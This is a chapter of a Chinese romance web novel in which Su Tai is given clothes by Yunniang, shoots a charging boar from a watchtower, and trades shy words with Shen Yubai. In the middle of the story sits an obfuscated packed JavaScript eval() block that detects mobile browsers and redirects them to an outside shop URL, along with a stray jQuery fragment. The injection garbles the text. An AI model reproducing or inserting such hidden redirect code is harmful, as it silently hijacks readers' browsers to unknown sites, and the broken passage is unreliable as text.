齐红花介绍自己的时候,不光说,先比了个“齐天大圣”的动作,又把双手搁在下巴底下,双颊鼓起来,像托着朵红扑扑的花。逗得苏苔“噗嗤”笑出了声。
齐红花见苏苔笑了便也跟着傻乐,笑着笑着又想起了什么,神神秘秘从袖兜里掏出一个绣着山茶花样的荷包递给苏苔。
“这是我娘买了绸缎边角料做的,我够换洗的了,这个便给您。”她脸微红,又急急补了一句:“是新的哦!”
苏苔看着荷包里叠得方正整齐、水红色的、亮面绸缎做的月事带。这般柔和的事物,她甚至不敢伸手触碰。
她红着眼睛看着齐红花说:“谢谢你,红花。”
齐红花吓了一跳,忙摆手道:“不、不客气啊女神,要不我先走了?”
“等等!”苏苔还是把泪水憋回去了,在一个半大丫头面前掉眼泪,太丢人了。
苏苔问道:“我的衣服呢?”
“啊您、您的衣服可能拿去洗了吧…”
齐红花心虚,她看见云娘捏着那些灰不溜秋的破布衣裳,一脸嫌弃地丢进灶膛里。这会儿,怕是早已烧成灰烬了吧……
“哦……”
苏苔若有所思,又不好意思地指了指柜子里的衣服说道:“我不会穿这些……”
苏苔穿着简陋,一块破布往身上一套再绑根麻绳便是衣服;而云娘给她准备的不一样,光衣服就有好几层,长长短短、粗粗细细的绳索也有七八根。
齐红花心疼地看了苏苔一眼,不由得想着她之前到底过得什么日子啊?
轻轻吸了下鼻子,齐红花开始帮苏苔穿衣。
衣服其实并不复杂,只是冬日里为了保暖终是要多加几件的。里衣是一件细棉布小衫,细棉不磨肌肤,自然价钱也是粗棉的三倍有余;中衣是原色立领斜襟夹袄,并无装饰,仅领沿缝了一道窄窄的淡蓝包边;还有件粗布棉袄,一摸便知棉花放的实在,针脚更压的密实,像床小被子,捂着人从头到脚都暖和。
苏苔从未穿过这么厚的棉袄。
齐红花刚给苏苔穿齐整,门“吱呀”一声被推开了,云娘提着一壶热水走进屋。
“哎哟,穿上了?”
云娘欣喜地望着苏苔,忙把热水放好,边擦干手边往前走拍了拍袄子。
“合身不?”云娘又摸摸肩、掐掐腰,也不等人回答便自顾自地说道:“幸好趁着天热的时候重新弹了袄里的棉花,还怕用不上呢。”
“这是我结婚时的嫁妆,做姑娘那会儿瘦,胖了便再穿不了了,一直压在箱底。”
“你穿着真好看,”云娘由衷地感慨,又理了理领子,往后退半步上下打量道:“和我年轻时一般好看,就合该你穿!”
苏苔愣在原地,听着云娘一句接一句,一直也插不上话。还是齐红花先开了口:
“哎呀!云娘,您快喝口水歇歇嘴吧,苏女神想谢谢您,都找不着话缝插进去。”
云娘哈哈大笑道:“谢啥啊?姑娘可是救了沈少将和那些弟兄们的命!别说我这几件不值钱的旧衣裳,就算是都城的绸啊缎的,都该摆在姑娘面前,穿一件、扔一件才好。”
苏苔耳根子软,最听不得别人夸她。又得知昨夜是云娘给她更衣擦洗,那脸已红的能滴血了。
看着云娘鬓角白发,竟往前半步从背后抱住她说道:“谢谢您,云娘。”
云娘身上有柴火味,不算好闻,但让人感觉很安心。
云娘身子微微一僵,想起昨夜这孩子的造孽模样,心中怜惜不免又添了几分,语气更软道:“孩子,有啥需要的,直接跟云娘讲。”
苏苔不习惯他人的帮助,因不想相欠太多。自七岁起,她被迫独立。或许曾有过期待,但早已被饥寒交迫、九死一生的现实磨灭了。
当下,她愿意握住援手。
苏苔看着齐红花和云娘,莞尔道:“好。”
屋外又传来一阵骚动,人群都往教场赶,将什么东西团团围住。
三人见状,也跟着前去凑热闹了。
原来是一头野猪闯入了军营,约莫二尺半高、三尺来长,个头不小是头成年野猪。黑乎乎一团横冲直撞,硕大的獠牙在日头下闪着锃亮的光。
脊背上的鬃毛根根竖起,若一排锋利的短戟,已然是受惊了。苏苔暗道一声不妙,这些黎军显然没意识到危险,还妄图与它近身周旋。
那野猪边嚎边跑,一些胆子大的士兵拿着刀冲上去,刚一个照面便被掀翻在地。受了伤的人慌不迭跑路,而更多的好事者则更上前一步。
“杀了它!今晚加餐!”
人群在呐喊,前头的士兵热血沸腾,打算一齐上将其困杀。倏地一把快刀划破它的眼睛,野猪受痛大嚎一声朝出口奔逃,士兵们各个摩拳擦掌大喊道:
“别让它跑了!”
谁承想野猪竟突然间调转头全力向追兵拱去,眨眼间人群被冲散,数十人重摔在地,还有一人野猪踩在脚下。
野猪闷哼几声,粗壮的前腿不断重踏身下那人胸腔。眼见他口溅鲜血、四肢抽搐,一时之间众人胆战心惊不知该如何是好……
只见一支弩箭刺穿翻涌的血腥味,牢牢钉在那野猪额间。
野猪愣了一瞬,连哼声都卡在喉咙里,轰然栽倒。
底下那人血糊满了脸,只听见野猪倒地,空气方涌进胸腔,猛地大口喘气,手脚并用地往旁边爬。
众人见那人已脱险,都暗松一口气,离得近的人跑去接应他,教场上其他人纷纷往发射弩箭方向望去。
东北角那处瞭望楼之上,一女子手持弩口立于高点,朔风凛冽,青丝飘扬,端着弩口的手稳如磐石。
齐红花看那身影十分眼熟,再一转头,果然寻不见苏苔了。她仰头冲着望楼大喊:“苏苔——”
又接上一句:“女神——你好帅啊——”
众人炸开了锅,先前嘀咕“沈老将军在吹牛的人”都被这一箭折服了。
且不说那瞭望楼高五丈有余,那一箭能不偏不倚正中野猪额间;单单在这人头攒动、状况频出的场子,敢射出这一箭的气魄,便无人能及。
“苏姑娘箭法果然名不虚传!”
“苏姑娘,俺真佩服你!”
“现在服了?之前不才说是吹牛吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486451|202035||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夸赞声不绝于耳,瞭望楼上那人身影轻晃了一下。
人真是奇妙。隔得那样远,脸那般模糊,那影子就晃了一下,便感受到她好像开心了。
三四个人将那野猪固定在木棍上,哼哧哼哧抬去灶房。路上恰遇见刚打猎回来的少将沈逾白和副将俞栋堂。
沈逾白看着嘴里还在冒热气的野猪大吃一惊问道:“这谁打的?!”
“回禀少将军,苏姑娘呀!”抬猪的人往身后一指,“从那瞭望楼射中这头野猪,好家伙,两百来斤呢!”
沈逾白远远地看见苏苔下了瞭望楼朝他走来,又不死心地看了眼那头大野猪。手往背后一藏,恨不得把好不容易猎到的几只野兔丢了。
片刻,苏苔便来到沈逾白面前,同行的还有齐红花。一一打过招呼后,苏苔看着沈逾白背过去的手,问道:“你藏什么呢?”
“没、没什么…”
“我看看!”
苏苔看见那几只野兔,眨着眼睛问沈逾白:“这是你打的吗?”
沈逾白一时语塞,想说是也不是,不是也不是。他想象中该拿出来的东西至少是只狍子——如果没看到那只野猪的话。
“你可真厉害,冬天的兔子可难打了。”
沈逾白愣了一下,耳根子先红了,忍不住心中雀跃开口道:“难、难打吗?我转了一上午,就逮到这几只。”
苏苔说:“兔子可狡猾了,诶,如果有泡椒就好了。”
沈逾白一听,眼泪又不争气地从嘴巴里流出来了,附和道:“对呀对呀。”
齐红花提着那几只野兔,两只眼睛放着光来回转,看看沈逾白,又看看苏苔,开口道:“我太羡慕你们了,你们怎么什么都会啊?”
“我娘只教我洗衣、做饭、扫屋子…”齐红花不由得望天长叹一声,左右两只手一边甩只兔子在肩上。
如果你也七岁被迫流浪雪原的话,苏苔暗想,转头对齐红花说:“如果你想学的话,我可以教你。”
“真的吗?太好了,苏女神我太喜欢你了!”
齐红花开心地提溜着兔耳朵转圈,一路哼小曲蹦跳着地朝灶房跑去。
兔子:没想到咱死后还有此一劫。
“你穿这袄真好看…”
沈逾白小声嘟囔了一句。
恰风大,将他说的话吹散了,苏苔没听清,往他那偏了偏头问道:“你说什么?”
沈逾白扭扭捏捏又不做声了,旁边的俞栋堂大吼一句:
“他说你穿这袄真好看!”
声音大到周围人都看过来朝他两嬉笑,二人脸瞬间红透。
红得快,去得慢。沈逾白脑袋也不知该转向哪边合适,手也不知该放在哪个位置才对,目光碰到俞栋堂,狠狠地瞪了他一眼。
俞栋堂嘿嘿一笑,溜了。
剩下两个红脸小人假装很忙,谁也不看谁,谁也没走开。
许久,沈逾白开口道:“你都不知道那夜我有多担心你。”
“何故屡屡拒我?”
他直直的看着苏苔,目光几欲将她烧穿。“连报答你的机会,都要强求才有?”